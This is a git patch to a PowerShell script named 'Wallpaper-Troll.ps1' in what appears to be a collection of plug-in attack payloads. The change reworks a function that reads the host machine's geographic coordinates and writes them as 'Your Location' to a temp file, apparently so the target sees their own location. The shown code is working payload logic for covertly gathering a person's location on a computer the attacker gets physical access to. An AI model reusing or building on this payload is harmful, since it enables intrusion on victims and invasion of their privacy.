From abc3564ef03979073644eae8d6bb23e50a6f5a84 Mon Sep 17 00:00:00 2001 From: I-Am-Jakoby Date: Sat, 31 Dec 2022 23:14:49 -0600 Subject: [PATCH] Update Wallpaper-Troll.ps1 --- Payloads/Flip-Wallpaper-Troll/Wallpaper-Troll.ps1 | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/Payloads/Flip-Wallpaper-Troll/Wallpaper-Troll.ps1 b/Payloads/Flip-Wallpaper-Troll/Wallpaper-Troll.ps1 index 25e38a8..bbd4265 100644 --- a/Payloads/Flip-Wallpaper-Troll/Wallpaper-Troll.ps1 +++ b/Payloads/Flip-Wallpaper-Troll/Wallpaper-Troll.ps1 @@ -91,8 +91,8 @@ function Get-GeoLocation{ if ($GeoWatcher.Permission -eq 'Denied'){ Write-Error 'Access Denied for Location Information' } else { - $GeoWatcher.Position.Location | Select Latitude,Longitude #Select the relevant results. - + $GL = $GeoWatcher.Position.Location | Select Latitude,Longitude #Select the relevant results. + if ($GL) { echo "`nYour Location: `n$GL" >> $Env:temp\foo.txt } } } # Write Error is just for troubleshooting @@ -103,8 +103,8 @@ function Get-GeoLocation{ } -$GL = Get-GeoLocation -if ($GL) { echo "`nYour Location: `n$GL" >> $Env:temp\foo.txt } +Get-GeoLocation +#if ($GL) { echo "`nYour Location: `n$GL" >> $Env:temp\foo.txt } #############################################################################################################################################